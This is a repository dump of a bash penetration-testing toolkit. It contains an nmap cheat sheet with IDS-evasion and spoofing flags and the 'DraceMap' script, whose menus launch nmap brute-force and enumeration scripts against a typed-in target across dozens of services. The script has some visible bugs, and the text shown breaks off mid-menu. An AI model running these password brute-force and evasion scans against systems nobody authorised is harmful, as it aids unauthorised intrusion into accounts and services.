├── .github
    └── workflows
    │   └── static.yml
├── Cheat Sheet
├── Dialog
├── DraceMap
├── README.md
├── ScanPro
└── index.html


/.github/workflows/static.yml:
--------------------------------------------------------------------------------
 1 | # Simple workflow for deploying static content to GitHub Pages
 2 | name: Deploy static content to Pages
 3 | 
 4 | on:
 5 |   # Runs on pushes targeting the default branch
 6 |   push:
 7 |     branches: ["main"]
 8 | 
 9 |   # Allows you to run this workflow manually from the Actions tab
10 |   workflow_dispatch:
11 | 
12 | # Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages
13 | permissions:
14 |   contents: read
15 |   pages: write
16 |   id-token: write
17 | 
18 | # Allow only one concurrent deployment, skipping runs queued between the run in-progress and latest queued.
19 | # However, do NOT cancel in-progress runs as we want to allow these production deployments to complete.
20 | concurrency:
21 |   group: "pages"
22 |   cancel-in-progress: false
23 | 
24 | jobs:
25 |   # Single deploy job since we're just deploying
26 |   deploy:
27 |     environment:
28 |       name: github-pages
29 |       url: ${{ steps.deployment.outputs.page_url }}
30 |     runs-on: ubuntu-latest
31 |     steps:
32 |       - name: Checkout
33 |         uses: actions/checkout@v4
34 |       - name: Setup Pages
35 |         uses: actions/configure-pages@v5
36 |       - name: Upload artifact
37 |         uses: actions/upload-pages-artifact@v3
38 |         with:
39 |           # Upload entire repository
40 |           path: '.'
41 |       - name: Deploy to GitHub Pages
42 |         id: deployment
43 |         uses: actions/deploy-pages@v4
44 | 


--------------------------------------------------------------------------------
/Cheat Sheet:
--------------------------------------------------------------------------------
 1 | #!/bin/sh
 2 | # Name : ScanPro
 3 | # Date : May 2022
 4 | Help
 5 | All OS
 6 | nmap Help
 7 | Target nmap {target} Host name ‐ FILESERVER FQDN ‐ scanme.nmap.org
 8 | IP ‐ 192.168.1.1
 9 | IPs ‐ 192.168.1.1 192.168.1.2 Range ‐ 192.168.1.1‐50
10 | CIDR ‐ 192.168.1.1/24
11 | DNS CIDR ‐ nmap.org/24
12 | Ports nmap ‐p nmap ‐p 80
13 | nmap ‐p 21‐3389
14 | nmap ‐sU ‐p 1‐1000
15 | nmap ‐sS ‐sU ‐p T:21‐25,80,U:53‐389 nmap ‐F
16 | 
17 | Service/Version Detection
18 | nmap ‐sV App & Service Versions nmap ‐A Aggressive / Advanced nmap ‐‐version‐intensity <level>
19 | Output (e.g. nmap ‐oN <filename>)
20 | nmap ‐h
21 | nmap ‐V
22 | nmap ‐‐script‐help <script name> Linux/Unix
23 | man nmap
24 | man zenmap
25 | 
26 | Nmap Basics ‐ One Page Cheat Sheet
27 | Nmap Command Format: nmap [Scan Type(s)] [Options] {target}
28 | Nmap Script Scan Format: nmap ‐‐script [Script(s) Name] {target}
29 | Same as above Version information
30 |  nmap Man Page Zenmap Man Page
31 | Scan Techniques
32 | nmap ‐sS nmap ‐sT nmap ‐sU nmap ‐sO
33 | Host Discovery
34 | nmap ‐ sL nmap ‐sn nmap ‐Pn
35 | 
36 | OS Discovery
37 | nmap ‐O
38 | nmap ‐O ‐‐osscan‐guess Will guess, Gives % certainty nmap ‐‐script smb‐host‐discovery
39 | NSE Script Scans (located in Nmap directory \scripts)
40 | nmap ‐sC Scans with all scripts labeled default nmap ‐‐script <category>
41 | nmap ‐‐script <script name>
42 | 
43 | Timing and Performance (time in ms, s, h)
44 | nmap ‐T0
45 | nmap ‐T1
46 | nmap ‐T2
47 | nmap ‐T3
48 | nmap ‐T4
49 | nmap ‐T5
50 | nmap ‐‐host‐timeout <time> nmap ‐‐scan‐delay <time> nmap ‐‐min‐rate <# packets>
51 | ‐6
52 | ‐D <decoy> ‐f <val>
53 | ‐S <ip>
54 | ‐g <#>
55 | 
56 | IPv6 scanning (put first) Decoy cloaking Fragment packets Spoof source
57 | Use source port
58 | TCP SYN port scan (Default) TCP Full‐connect port scan UDP port scan
59 | IP Protocol scan
60 | List scan. Reverse DNS lookup.
61 | Ping scan/sweep. Doesn't scan ports. No ping scan. Only scans ports.
62 | 
63 | Basic operating system discovery
64 | nmap ‐oN nmap ‐oX nmap ‐oG nmap ‐oA nmap ‐v nmap ‐d
65 | 
66 | Normal output to file XML output to file Grepable output to file Three output formats More detail
67 | Debugging information
68 | Paranoid. IDS evasion, very slow. Sneaky. IDS evasion, slow.
69 | Polite. Use if machines or network slow Default. If using, just leave off. Aggressive. Fast, assumes fast network Insane. Very fast, less accurate results
70 | Misc. Options & IDS/Firewall Evasion
71 | Give up on target after this amount of time Adjust delay between probes
72 | Send packets no slower than this per second
73 | 


--------------------------------------------------------------------------------
/Dialog:
--------------------------------------------------------------------------------
 1 | #!/bin/sh
 2 | # Name : ScanPro
 3 | # Date : May 2022
 4 | HEIGHT=15
 5 | WIDTH=40
 6 | CHOICE_HEIGHT=4
 7 | BACKTITLE="Anlominus ~ ScanPro"
 8 | TITLE="ScanPro Menu"
 9 | MENU="Choose one of the following options:"
10 | 
11 | OPTIONS=(
12 | 1 "Target Selection"
13 | 2 "Port Selection"
14 | 3 "Scan Types"
15 | 4 "Service and Operating System Detection"
16 | 5 "Output formats"
17 | 6 "NSE Scripting"
18 | 7 "HTTP info gathering"
19 | )
20 | 
21 | CHOICE=$(dialog --clear \
22 |                 --backtitle "$BACKTITLE" \
23 |                 --title "$TITLE" \
24 |                 --menu "$MENU" \
25 |                 $HEIGHT $WIDTH $CHOICE_HEIGHT \
26 |                 "${OPTIONS[@]}" \
27 |                 2>&1 >/dev/tty)
28 | 
29 | clear
30 | case $CHOICE in
31 |         1)
32 |         read -p "    └──╼ Enter selection [0-7] > "
33 |             echo "You chose Option 1"
34 |             ;;
35 |         2)
36 |             echo "You chose Option 2"
37 |             ;;
38 |         3)
39 |             echo "You chose Option 3"
40 |             ;;
41 | esac
42 | 


--------------------------------------------------------------------------------
/DraceMap:
--------------------------------------------------------------------------------
   1 | #!/usr/bin/env bash
   2 | 
   3 | #============================================================================================================
   4 | #                         Dracnmap for dracos
   5 | #
   6 | #                      Welcome and dont disclaimer
   7 | #              Dracnmap Author By Edo -maland- a.k.a screetsec
   8 | #                     Tested On Kali Linux and Dracos
   9 | #       contact me in screetsec@gmail.com or screetsec@dracos-linux.org
  10 | #          OS Penetration From Indonesia : https://dracos-linux.org/
  11 | #============================================================================================================
  12 | 
  13 | 
  14 | #This colour
  15 | cyan='\e[0;36m'
  16 | green='\e[0;34m'
  17 | okegreen='\033[92m'
  18 | lightgreen='\e[1;32m'
  19 | white='\e[1;37m'
  20 | red='\e[1;31m'
  21 | yellow='\e[1;33m'
  22 | BlueF='\e[1;34m'
  23 | 
  24 | 
  25 | #Variable
  26 | Version='2.1'
  27 | Codename='Redline'
  28 | xterm='xterm -hold -fa monaco -fs 13 -bg black -e nmap'
  29 | 
  30 | 
  31 | trap ctrl_c INT
  32 | ctrl_c() {
  33 | clear
  34 | echo -e $red"[*] (Ctrl + C ) Detected, Trying To Exit ..."
  35 | sleep 1
  36 | echo ""
  37 | echo -e $yellow"[*] Thank You For Using Dracnmap  =)."
  38 | echo ""
  39 | echo -e $yellow"[*] Check Dracos Linux LFS, Penetration OS From Indonesia  =P."
  40 | exit
  41 | }
  42 | 
  43 | #Bebeku
  44 | #if [[ $EUID -ne 0 ]]; then
  45 | #	echo "ERROR! Run this script with root user!"
  46 | #	exit 1
  47 | #fi
  48 | 
  49 | if [ -z "${DISPLAY:-}" ]; then
  50 |     echo -e "\e[1;31mThe script should be executed inside a X (graphical) session."$transparent""
  51 |     exit 1
  52 | fi
  53 | resize -s 50 84 > /dev/null
  54 | 
  55 | ###############################################
  56 | # Checking gaannss
  57 | ###############################################
  58 | clear
  59 | echo -e $okegreen ""
  60 | echo -e $okegreen "    .___                     _______                         $red       ________  ";
  61 | echo -e $okegreen "  __| _/___________    ____  \      \   _____ _____  ______  $red ___  _\_____  \ ";
  62 | echo -e $okegreen " / __ |\_  __ \__  \ _/ ___\ /   |   \ /     \\__  \ \____  \ $red \  \/ //  ____/  ";
  63 | echo -e $okegreen "/ /_/ | |  | \// __ \\  \___/     |    \  Y Y  \/ __ \|  |_> >$red  \   //       \  ";
  64 | echo -e $okegreen "\____ | |__|  (____  /\___  >____|__  /__|_|  (____  /   __/ $red/\ \_/ \_______ \ ";
  65 | echo -e $okegreen "     \/            \/     \/        \/      \/     \/|__|    $red\/             \/ ";
  66 | echo
  67 | echo -e $okegreen"-------------------------------------------------------------------------------"
  68 | echo -e $lightgreen'-- -- +=[(c) 2016-2017 | dracos-linux.org | Linuxsec.org | Pentester Indonesia '
  69 | echo -e $cyan'-- -- +=[ Author: Screetsec < Edo Maland >  ]=+ -- -- '
  70 | echo -e " "
  71 | 
  72 | #if [ $(id -u) != "0" ]; then
  73 | #
  74 | #      echo [!]::[Check Dependencies] ;
  75 | #      sleep 2
  76 | #      echo [✔]::[Check User]: $USER ;
  77 | #      sleep 1
  78 | #      echo [x]::[not root]: you need to be [root] to run this script.;
  79 | #      echo ""
  80 | #   	  sleep 1
  81 | #	  exit
  82 | 
  83 | 
  84 | else
  85 | 
  86 |    echo [!]::[Check Dependencies]: ;
  87 |    sleep 1
  88 |    echo [✔]::[Check User]: $USER ;
  89 | 
  90 | fi
  91 | 
  92 |   ping -c 1 google.com > /dev/null 2>&1
  93 |   if [ "$?" != 0 ]
  94 | 
  95 | then
  96 | 
  97 |     echo [✔]::[Internet Connection]: DONE!;
  98 |     echo [x]::[warning]: This Script Needs An Active Internet Connection;
  99 |     sleep 2
 100 | 
 101 | else
 102 | 
 103 |     echo [✔]::[Internet Connection]: connected!;
 104 |     sleep 2
 105 | fi
 106 | 
 107 | # check nmap if exists
 108 |       which nmap > /dev/null 2>&1
 109 |       if [ "$?" -eq "0" ]; then
 110 |       echo [✔]::[nmap]: installation found!;
 111 | else
 112 | 
 113 |    echo [x]::[warning]:this script require Nmap ;
 114 |    echo ""
 115 |    echo [!]::[please wait]: please install .... ;
 116 |    # apt-get update
 117 |    # apt-get install nmap
 118 |    echo ""
 119 |    sleep 2
 120 |    exit
 121 | fi
 122 | sleep 2
 123 | # check urxvt if exists
 124 |       which xterm > /dev/null 2>&1
 125 |       if [ "$?" -eq "0" ]; then
 126 |       echo [✔]::[xterm]: installation found!;
 127 | else
 128 | 
 129 |    echo [x]::[warning]:this script require xterm ;
 130 |    echo ""
 131 |    echo [!]::[please wait]: please install .... ;
 132 |    apt-get update
 133 |    apt-get install xterm
 134 |    echo ""
 135 |    sleep 2
 136 |    exit
 137 | fi
 138 | sleep 2
 139 | 
 140 | 
 141 | 
 142 | 
 143 | 
 144 | 
 145 | 
 146 | ################################################
 147 | # OUTPUT FILE
 148 | ################################################
 149 | function scanoutput() {
 150 |   echo -e $cyan " "
 151 |   clear
 152 |   echo "  "
 153 |   echo "                "
 154 |   echo -e $okegreen"                       /^--^\     /^--^\     /^--^\   $cyan"
 155 |   echo -e $okegreen"                       \____/     \____/     \____/   $cyan "
 156 |   echo -e $okegreen"                      /      \   /      \   /      \  $cyan"
 157 |   echo -e $okegreen"                     |        | |        | |        | $cyan "
 158 |   echo -e $okegreen"                      \__  __/   \__  __/   \__  __/  $cyan  MEONG MOEONG "
 159 |   echo " |^|^|^|^|^|^|^|^|^|^|^|^\ \^|^|^|^/ /^|^|^|^|^\ \^|^|^|^|^|^|^|^|^|^|^|^| "
 160 |   echo " | | | | | | | | | | | | |\ \| | |/ /| | | | | | \ \ | | | | | | | | | | | "
 161 |   echo " ########################/ /######\ \###########/ /####################### "
 162 |   echo " | | | | | | | | | | | | \/| | | | \/| | | | | |\/ | | | | | | | | | | | | "
 163 |   echo " |_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_| "
 164 |     echo -e $white " "
 165 |     echo -e $white"	[$okegreen"01"$white]$okegreen  OUTPUT SCAN IN XML FORMATS  "
 166 |     echo -e $white"	[$okegreen"02"$white]$okegreen  OUTPUT SCAN IN HTML FORMATS "
 167 |     echo -e $white"	[$okegreen"03"$white]$okegreen  OUTPUT SCAN IN NORMAL FORMATS  "
 168 |     echo -e $white"	[$okegreen"04"$white]$okegreen  OUTPUT SCAN IN GREPABLE FORMATS "
 169 |     echo -e $white"	[$okegreen"05"$white]$okegreen  BACK  "
 170 |     echo -e " "
 171 |     echo -n -e $red'  \033[4mScreetsec@Meoong:\033[0m>> '; tput sgr0 #insert your choice
 172 |              read DrS
 173 | 
 174 |            if test $DrS == '1'
 175 |                then
 176 |                  echo
 177 |         	 echo -ne $cyan"  Path Location: /Dracnmap/Output/"
 178 |                  echo
 179 |         	 echo -ne "  Name of Report:"
 180 |         	 read namafile
 181 |                  echo
 182 |                  echo -ne "  What is your IP Target or Host: "
 183 |                  read ip
 184 |                  echo
 185 |                  $xterm -A -O -oX Output/$namafile.xml $ip &
 186 |                  firefox Output/$namafile.xml
 187 |            elif test $DrS == '2'
 188 |         	then
 189 |                   echo
 190 |             	  echo -ne $cyan"  Path Location: /Dracnmap/Output/"
 191 |                   echo
 192 |             	  echo -ne "  Name of Report:"
 193 |             	  read namafile
 194 |                   echo
 195 |                   echo -ne "  What is your IP Target or Host: "
 196 |                   read ip
 197 |                   echo
 198 |                   $xterm -A -O -oX Output/$namafile.xml $ip &
 199 |         	  xsltproc Output/$namafile.xml -o Output/$namafile.html
 200 |         	  firefox Output/$namafile.html
 201 |             elif test $DrS == '3'
 202 |         	  then
 203 |                   echo
 204 |                   echo -ne $cyan"  Path Location: /Dracnmap/Output/"
 205 |                   echo
 206 |                   echo -ne "  Name of Report:"
 207 |                   read namafile
 208 |                   echo
 209 |                   echo -ne "  What is your IP Target or Host: "
 210 |                   read ip
 211 |                   echo
 212 |                   $xterm -F -oN Output/$namafile.txt $ip
 213 |                   nano Output/$namafile.txt
 214 |              elif test $DrS == '4'
 215 |         	  then
 216 |                   echo
 217 |                   echo -ne $cyan"  Path Location: /Dracnmap/Output/"
 218 |                   echo
 219 |                   echo -ne "  Name of Report:"
 220 |                   read namafile
 221 |                   echo
 222 |                   echo -ne "  What is your IP Target or Host: "
 223 |                   read ip
 224 |                   echo
 225 |                   $xterm -F -oG Output/$namafile.grep $ip &
 226 |                   nano Output/$namafile.grep
 227 |               elif test $DrS == '5'
 228 |                   then
 229 |                 	menu
 230 |        		  else
 231 |        			  	echo -e "  Incorrect Number"
 232 |         			fi
 233 |         			echo -n -e "  Back to Last Menu? ( Yes / No ) :"
 234 |        			read back
 235 |        			if [ $back != 'n' ] && [ $back != 'N' ] && [ $back != 'no' ] && [ $back != 'No' ]
 236 |        					then
 237 |        					clear
 238 |        					menu
 239 |        			elif [ $back != 'y' ] && [ $back != 'Y' ] && [ $back != 'yes' ] && [ $back != 'Yes' ]
 240 |        					then
 241 |        					scanoutput
 242 |        			fi
 243 |        }
 244 | 
 245 | 
 246 | 
 247 | ################################################
 248 | # NSE SCRIPT FOR BRUTEFORCE
 249 | ################################################
 250 | 
 251 | function brutense	() {
 252 | 	clear
 253 | 	echo "                                                   ";
 254 | 
 255 | 	    echo -e $white " "
 256 | 	    echo -e $white"	[$okegreen"01"$white]$cyan  afp-brute  "
 257 | 	    echo -e $white"	[$okegreen"02"$white]$cyan  ajp-brute "
 258 | 	    echo -e $white"	[$okegreen"03"$white]$cyan  backorifice-brute  "
 259 | 	    echo -e $white"	[$okegreen"04"$white]$cyan  cassandra-brute "
 260 | 	    echo -e $white"	[$okegreen"05"$white]$cyan  cics-enum "
 261 | 	    echo -e $white"	[$okegreen"06"$white]$cyan  cics-user-enum "
 262 | 	    echo -e $white"	[$okegreen"07"$white]$cyan  citrix-brute-xml"
 263 | 	    echo -e $white"	[$okegreen"08"$white]$cyan  cvs-brute  "
 264 | 	    echo -e $white"	[$okegreen"09"$white]$cyan  cvs-brute-repository "
 265 | 	    echo -e $white"	[$okegreen"10"$white]$cyan  domcon-brute  "
 266 | 	    echo -e $white"	[$okegreen"11"$white]$cyan  dpap-enum  "
 267 | 	    echo -e $white"	[$okegreen"12"$white]$cyan  drda-brute "
 268 | 	    echo -e $white"	[$okegreen"13"$white]$cyan  ftp-brute  "
 269 | 	    echo -e $white"	[$okegreen"14"$white]$cyan  http-from-brute "
 270 | 	    echo -e $white"	[$okegreen"15"$white]$cyan  http-iis-short-name-brute "
 271 | 	    echo -e $white"	[$okegreen"16"$white]$cyan  http-brute "
 272 | 	    echo -e $white"	[$okegreen"17"$white]$cyan  http-joomla-brute  "
 273 | 	    echo -e $white"	[$okegreen"18"$white]$cyan  http-proxy-brute "
 274 | 	    echo -e $white"	[$okegreen"19"$white]$cyan  http-wordpress-brute "
 275 | 	    echo -e $white"	[$okegreen"20"$white]$cyan  iax2-brute "
 276 | 	    echo -e $white"	[$okegreen"21"$white]$cyan  informix-brute "
 277 | 	    echo -e $white"	[$okegreen"22"$white]$cyan  ipmi-brute "
 278 | 	    echo -e $white"	[$okegreen"23"$white]$cyan  irc-brute "
 279 | 	    echo -e $white"	[$okegreen"24"$white]$cyan  irc-sasl-brute "
 280 | 	    echo -e $white"	[$okegreen"25"$white]$cyan  iscsi-brute "
 281 | 	    echo -e $white"	[$okegreen"26"$white]$cyan  ldap-brute "
 282 | 	    echo -e $white"	[$okegreen"27"$white]$cyan  imap-brute "
 283 | 	    echo -e $white"	[$okegreen"28"$white]$cyan  membase-brute "
 284 | 	    echo -e $white"	[$okegreen"29"$white]$cyan  mmouse-brute "
 285 | 	    echo -e $white"	[$okegreen"30"$white]$cyan  mongodb-brute "
 286 | 	    echo -e $white"	[$okegreen"31"$white]$cyan  ms-sql-brute "
 287 | 	    echo -e $white"	[$okegreen"32"$white]$cyan  mysql-brute "
 288 | 	    echo -e $white"	[$okegreen"33"$white]$cyan  mysql-enum "
 289 | 	    echo -e $white"	[$okegreen"34"$white]$cyan  mongodb-brute"
 290 | 	    echo -e $white"	[$okegreen"35"$white]$cyan  metasploit-msgrpc-brute "
 291 | 	    echo -e $white"	[$okegreen"36"$white]$cyan  metasploit-xmlrpc-brute  "
 292 | 	    echo -e $white"	[$okegreen"37"$white]$cyan  mikrotik-routeros-brute "
 293 | 	    echo -e $white"	[$okegreen"38"$white]$cyan  nessus-xmlrpc-brute "
 294 | 	    echo -e $white"	[$okegreen"39"$white]$cyan  netbus-brute "
 295 | 	    echo -e $white"	[$okegreen"40"$white]$cyan  nexpose-brute "
 296 | 	    echo -e $white"	[$okegreen"41"$white]$cyan  nje-node-brute "
 297 | 	    echo -e $white"	[$okegreen"42"$white]$cyan  nje-pass-brute "
 298 | 	    echo -e $white"	[$okegreen"43"$white]$cyan  nping-brute "
 299 | 	    echo -e $white"	[$okegreen"44"$white]$cyan  nessus-brute "
 300 | 	    echo -e $white"	[$okegreen"45"$white]$cyan  omp2-brute "
 301 | 	    echo -e $white"	[$okegreen"46"$white]$cyan  openvas-otp-brute "
 302 | 	    echo -e $white"	[$okegreen"47"$white]$cyan  oracle-brute "
 303 | 	    echo -e $white"	[$okegreen"48"$white]$cyan  oracle-brute-stealth "
 304 | 	    echo -e $white"	[$okegreen"49"$white]$cyan  oracle-sid-brute "
 305 | 	    echo -e $white"	[$okegreen"50"$white]$cyan  pcanywhere-brute "
 306 | 	    echo -e $white"	[$okegreen"51"$white]$cyan  pgsql-brute "
 307 | 	    echo -e $white"	[$okegreen"52"$white]$cyan  pop3-brute "
 308 | 	    echo -e $white"	[$okegreen"53"$white]$cyan  redis-brute "
 309 | 	    echo -e $white"	[$okegreen"54"$white]$cyan  rexec-brute "
 310 | 	    echo -e $white"	[$okegreen"55"$white]$cyan  rlogin-brute "
 311 | 	    echo -e $white"	[$okegreen"56"$white]$cyan  rpcap-brute "
 312 | 	    echo -e $white"	[$okegreen"57"$white]$cyan  rsync-brute "
 313 | 	    echo -e $white"	[$okegreen"58"$white]$cyan  rtsp-url-brute "
 314 | 	    echo -e $white"	[$okegreen"59"$white]$cyan  sip-brute "
 315 | 	    echo -e $white"	[$okegreen"60"$white]$cyan  socks-brute "
 316 | 	    echo -e $white"	[$okegreen"61"$white]$cyan  svn-brute "
 317 | 	    echo -e $white"	[$okegreen"62"$white]$cyan  tso-enum "
 318 | 	    echo -e $white"	[$okegreen"63"$white]$cyan  smb-brute "
 319 | 	    echo -e $white"	[$okegreen"64"$white]$cyan  smtp-brute  "
 320 | 	    echo -e $white"	[$okegreen"65"$white]$cyan  snmp-brute "
 321 | 	    echo -e $white"	[$okegreen"66"$white]$cyan  telnet-brute "
 322 | 	    echo -e $white"	[$okegreen"67"$white]$cyan  vtam-enum "
 323 | 	    echo -e $white"	[$okegreen"68"$white]$cyan  vmauthd-brute "
 324 | 	    echo -e $white"	[$okegreen"69"$white]$cyan  vnc-brute"
 325 | 	    echo -e $white"	[$okegreen"70"$white]$cyan  xmpp-brute "
 326 | 	    echo -e $white"	[$okegreen"71"$white]$cyan  Back "
 327 | 	    echo -e " "
 328 | 	    echo -n -e $red'  \033[4mScreetsec@nse-brute:\033[0m>> '; tput sgr0 #insert your choice
 329 | 	      	read Brute
 330 | 	             if test $Brute == '1'
 331 | 	          	then
 332 | 	          		echo
 333 | 	          		echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 334 | 	           		read ip
 335 | 	              echo -ne $okegreen " Open Port on Target or Host:  " ; tput sgr0
 336 | 	             	read port
 337 | 								$xterm -p $port --script afp-brute $ip &
 338 | 	          	elif test $Brute == '2'
 339 | 	           		then
 340 | 	           			echo
 341 | 	           			echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 342 | 	           			read ip
 343 | 	                echo -ne $okegreen " Open Port on Target or Host:  " ; tput sgr0
 344 | 	              	read port
 345 | 	        				$xterm -p $port $ip --script ajp-brute &
 346 | 	              elif test $Brute == '3'
 347 | 	                then
 348 | 	                echo
 349 | 	                echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 350 | 	                read ip
 351 | 	                echo -ne $okegreen " Open Port on Target or Host:  " ; tput sgr0
 352 | 	                read port
 353 | 									$xterm -sU --script backorifice-brute $ip --script-args backorifice-brute.ports=$port &
 354 | 	              elif test $Brute == '4'
 355 | 	                then
 356 | 	                echo
 357 | 	                echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 358 | 	                read ip
 359 | 	                $xterm -p 9160 $ip --script=cassandra-brute &
 360 | 	            elif test $Brute == '5'
 361 | 	                then
 362 | 	                	echo
 363 | 	                	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 364 | 	                  read ip
 365 | 										$xterm --script=cics-enum -p 23 $ip &
 366 | 	              		elif test $Brute == '6'
 367 | 	                	then
 368 | 	                	echo
 369 | 	                	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 370 | 	                  read ip
 371 | 										$xterm --script=cics-user-enum -p 23 $ip &
 372 | 	              elif test $Brute == '7'
 373 | 	                then
 374 | 	                	echo
 375 | 	                	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 376 | 	                  read ip
 377 | 										echo -ne $okegreen " What Userdb " ; tput sgr0
 378 | 			  						read userdb
 379 | 										echo -ne $okegreen " What Passdb " ; tput sgr0
 380 | 			  						read passdb
 381 | 										echo -ne $okegreen " What domain " ; tput sgr0
 382 | 			  						read domain
 383 | 										$xterm --script=citrix-brute-xml --script-args=userdb=$userdb,passdb=$passdb,ntdomain=$domain -p 80,443,8080 $ip &
 384 | 	              elif test $Brute == '8'
 385 | 	                then
 386 | 	                	echo
 387 | 	                	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 388 | 	                  read ip
 389 | 										$xterm -p 2401 --script cvs-brute $ip &
 390 | 	              elif test $Brute == '9'
 391 | 	                then
 392 | 	                	echo
 393 | 	                	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 394 | 	                  read ip
 395 | 										$xterm -p 2401 --script cvs-brute-repository $ip &
 396 | 	              elif test $Brute == '10'
 397 | 	                then
 398 | 	                	echo
 399 | 	                	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 400 | 	                  read ip
 401 | 										$xterm --script domcon-brute -p 2050 $ip &
 402 | 	              elif test $Brute == '11'
 403 | 	                then
 404 | 	                	echo
 405 | 	                	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 406 | 	                  read ip
 407 | 										$xterm --script dpap-brute -p 8770 $ip &
 408 | 	              elif test $Brute == '12'
 409 | 	                then
 410 | 	                	echo
 411 | 	                	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 412 | 	                  read ip
 413 | 										$xterm -p 50000 --script drda-brute $ip &
 414 | 	              elif test $Brute == '13'
 415 | 	                then
 416 | 	                	echo
 417 | 	                	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 418 | 	                  read ip
 419 | 	                	echo -ne $okegreen " Open Port on Target or Host:  " ; tput sgr0
 420 | 	                  read port
 421 | 	                	$xterm --script ftp-brute -p $port $ip &
 422 | 	              elif test $Brute == '14'
 423 | 	                then
 424 | 	                	echo
 425 | 	                	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 426 | 	                  read ip
 427 | 				$xterm --script http-form-brute -p 80 $ip &
 428 | 	          elif test $Brute == '15'
 429 | 	       			then
 430 | 	       				echo
 431 | 	       				echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 432 | 	        		  read ip
 433 | 								$xterm -p80 --script http-iis-short-name-brute $ip &
 434 | 	       		elif test $Brute == '16'
 435 | 	            then
 436 | 	            	echo
 437 | 	            	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 438 | 	              read ip
 439 | 	            	echo -ne $okegreen " Open Port on Target or Host:  " ; tput sgr0
 440 | 	              read port
 441 | 	            	$xterm --script http-brute -p $port $ip &
 442 | 	       		elif test $Brute == '17'
 443 | 	            then
 444 | 	            	echo
 445 | 	            	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 446 | 	              read ip
 447 | 	            	$xterm -sV --script http-joomla-brute $ip &
 448 | 	       		elif test $Brute == '18'
 449 | 	            then
 450 | 	            	echo
 451 | 	            	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 452 | 	              read ip
 453 | 	            	$xterm --script http-proxy-brute -p 8080 $ip &
 454 | 	       		elif test $Brute == '19'
 455 | 	            then
 456 | 	            	echo
 457 | 	            	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 458 | 	              read ip
 459 | 	            	$xterm -sV --script http-wordpress-brute $ip &
 460 | 	       		elif test $Brute == '20'
 461 | 	            then
 462 | 	            	echo
 463 | 	            	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 464 | 	              read ip
 465 | 								$xterm -sU -p 4569 $ip --script iax2-brute &
 466 | 	       		elif test $Brute == '21'
 467 | 	            then
 468 | 	            	echo
 469 | 	            	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 470 | 	              read ip
 471 | 								$xterm --script informix-brute -p 9088 $ip &
 472 | 	       		elif test $Brute == '22'
 473 | 	            then
 474 | 	            	echo
 475 | 	            	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 476 | 	              read ip
 477 | 								$xterm -sU --script ipmi-brute -p 623 $ip &
 478 | 	       		elif test $Brute == '23'
 479 | 	            then
 480 | 	            	echo
 481 | 	            	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 482 | 	              read ip
 483 | 								$xterm --script irc-brute -p 6667 $ip &
 484 | 	       		elif test $Brute == '24'
 485 | 	            then
 486 | 	            	echo
 487 | 	            	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 488 | 	              read ip
 489 | 								$xterm --script irc-sasl-brute -p 6667 $ip &
 490 | 	       		elif test $Brute == '25'
 491 | 	            then
 492 | 	            	echo
 493 | 	            	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 494 | 	              read ip
 495 | 								$xterm -sV --script=iscsi-brute $ip &
 496 | 	       		elif test $Brute == '26'
 497 | 	            then
 498 | 	            	echo
 499 | 	            	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 500 | 	              read ip
 501 | 								$xterm -p 389 --script ldap-brute --script-args ldap.base='"cn=users,dc=cqure,dc=net"' $ip &
 502 | 	  		elif test $Brute == '27'
 503 | 	            then
 504 | 	            	echo
 505 | 	            	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 506 | 	              read ip
 507 | 								$xterm -p 143,993 --script imap-brute $ip &
 508 | 	  		elif test $Brute == '28'
 509 | 	            then
 510 | 	            	echo
 511 | 	            	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 512 | 	              read ip
 513 | 								$xterm -p 11211 --script membase-brute &
 514 | 	  		elif test $Brute == '29'
 515 | 	            then
 516 | 	            	echo
 517 | 	            	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 518 | 	              read ip
 519 | 								$xterm --script mmouse-brute -p 51010 $ip &
 520 | 	  		elif test $Brute == '30'
 521 | 	            then
 522 | 	            	echo
 523 | 	            	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 524 | 	              read ip
 525 | 								$xterm -p 27017 $ip --script mongodb-brute &
 526 | 	  		elif test $Brute == '31'
 527 | 	            then
 528 | 	            	echo
 529 | 	            	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 530 | 	              read ip
 531 | 								$xterm -p 445 --script ms-sql-brute --script-args mssql.instance-all,userdb=customuser.txt,passdb=custompass.txt $ip &
 532 | 	  		elif test $Brute == '32'
 533 | 	            then
 534 | 	            	echo
 535 | 	            	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 536 | 	              read ip
 537 | 								$xterm --script=mysql-brute $ip
 538 | 	  		elif test $Brute == '33'
 539 | 	            then
 540 | 	            	echo
 541 | 	            	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 542 | 	              read ip
